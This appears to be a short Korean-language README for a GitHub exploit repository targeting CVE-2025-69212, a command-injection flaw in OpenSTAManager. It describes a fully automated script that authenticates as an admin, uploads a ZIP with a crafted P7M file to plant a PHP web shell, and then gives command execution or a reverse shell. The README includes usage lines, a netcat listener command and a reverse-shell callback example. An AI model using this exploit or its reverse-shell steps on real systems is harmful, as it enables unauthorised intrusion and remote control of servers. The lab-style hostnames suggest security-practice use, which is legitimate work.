pasindu-sd/cve-2025-69212-exploitCVE-2025-69212 OpenSTAManager 명령어 주입(Command Injection) 취약점에 대한 자동화 익스플로잇으로, 관리자 인증, 악성 ZIP 업로드, 리버스 셸 또는 명령 실행 기능을 제공합니다.
CVE-2025-69212용 완전 자동화 익스플로잇 스크립트로, OpenSTAManager의 명령 주입 취약점입니다. 이 스크립트는 관리자 자격 증명으로 인증한 후, ZIP 아카이브에 포함된 조작된 P7M 파일을 통해 악성 PHP 웹 셸을 배포하고, 명령 실행 또는 리버스 셸을 제공합니다.
invoice.p7m 주입).python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -r <LHOST> <LPORT>
예시:
단일 명령 실행:
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -c 'id'
리버스 셸 획득:
# Start your netcat listener in another terminal:
nc -lvnp 4444
# Run the exploit:
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -r 10.10.14.1 4444